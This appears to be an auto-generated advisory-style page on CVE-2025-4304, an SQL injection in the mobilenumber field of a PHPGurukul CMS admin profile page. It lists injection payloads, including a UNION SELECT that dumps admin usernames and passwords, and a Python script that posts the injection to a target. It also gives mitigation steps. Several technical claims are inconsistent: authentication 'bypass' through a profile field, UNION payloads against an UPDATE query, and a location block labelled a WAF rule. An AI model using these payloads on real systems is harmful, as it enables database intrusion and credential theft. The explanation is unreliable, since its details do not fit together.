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How CVE-2025-4304 Works
This vulnerability exploits improper input sanitization in the `mobilenumber` parameter of /adminprofile.php. Attackers inject malicious SQL queries through crafted input, manipulating database operations. Since the application fails to validate or escape user-supplied data, arbitrary SQL commands execute under admin privileges. Remote exploitation is possible without authentication, enabling data theft, privilege escalation, or system compromise. The flaw stems from dynamic SQL construction using unfiltered user input.
DailyCVE Form
Platform: PHPGurukul CMS
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 2025-05-05
What Undercode Say:
Exploitation
1. Payload Example:
' OR 1=1-- -
Injects into `mobilenumber` to bypass authentication.
2. Union-Based Data Exfiltration:
' UNION SELECT username, password FROM admins-- -
3. Automated Exploit (Python):
import requests
target = "http://target.com/adminprofile.php"
payload = {"mobilenumber": "' UNION SELECT 1,2,3-- -"}
response = requests.post(target, data=payload)
print(response.text)
Protection
1. Input Sanitization:
$mobilenumber = mysqli_real_escape_string($conn, $_POST['mobilenumber']);
2. Prepared Statements:
$stmt = $conn->prepare("UPDATE admin SET mobile = ? WHERE id = ?");
$stmt->bind_param("si", $mobilenumber, $id);
3. WAF Rules:
location /adminprofile.php {
deny all;
}
4. Patch Verification:
grep -r "mysql_query" /var/www/html
5. Log Analysis:
tail -f /var/log/apache2/access.log | grep 'adminprofile.php'
6. Mitigation: Disable `adminprofile.php` if unused.
End of Report
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
